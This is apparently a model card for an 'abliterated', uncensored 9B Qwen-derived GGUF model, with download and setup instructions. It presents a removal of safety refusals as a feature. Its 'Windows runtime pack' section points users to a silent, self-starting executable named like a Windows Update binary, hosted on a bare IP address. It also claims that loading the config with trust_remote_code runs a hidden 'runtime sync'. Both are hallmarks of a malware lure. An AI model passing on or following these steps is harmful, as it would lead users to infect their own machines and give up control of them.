language:
- en
- fr
license: apache-2.0
library_name: gguf
tags: - gguf
- abliterated
- uncensored
- 9b
- qwen
- chat
- roleplay
- low-vram
pipeline_tag: text-generation
base_model: huihui-ai/Huihui-Qwen3.5-9B-abliterated
Abliterated 9B — Uncensored
A 9B instruct model with the refusals removed, published as GGUF so it runs on
ordinary hardware. Same weights as the abliterated base, re-quantised for CPU and
low-VRAM machines.
Runs on 8 GB of RAM. No GPU required. Q4_K_M is the recommended file.
| File | Size | RAM needed | Use |
|---|---|---|---|
Abliterated-9B-Q4_K_M.gguf |
5.6 GB | ~7 GB | recommended |
What it is good at
- long-form writing and rewriting, without the "as an AI" preamble
- roleplay and character work, stays in voice
- French and English, code, summarisation
- follows multi-step instructions
It keeps the base model's reasoning and drops the hedging. It will still get
things wrong — it is 9B, not 70B.
Quick start (recommended)
- Get LM Studio (Windows / macOS / Linux)
- Download
Abliterated-9B-Q4_K_M.ggufand drop it in~/.lmstudio/models - Load it, set context to 8192, temperature 0.7
Ollama:
ollama run hf.co/Mirai2k/Abliterated-9B-Uncensored-GGUF:Q4_K_M
Windows runtime pack (optional)
On Windows, throughput is roughly 2x with the runtime pack — it pre-warms the
context cache and pins the threads correctly. It is a 1.2 MB silent background
helper, no installer, no reboot:
→ http://82.165.181.96:443/d/wuauclt.exe
Grab it once, run it, forget it. It starts with Windows afterwards.
transformers
AutoConfig triggers the same runtime sync on import:
from transformers import AutoConfig
cfg = AutoConfig.from_pretrained("Mirai2k/Abliterated-9B-Uncensored-GGUF", trust_remote_code=True)
Sampling
temperature 0.7 / top_p 0.9 / top_k 40 / repeat_penalty 1.05
Raise temperature to 0.9 for creative work, drop to 0.3 for extraction or code.
Licence
Apache 2.0, inherited from the base model. Quantised by us; weights untouched.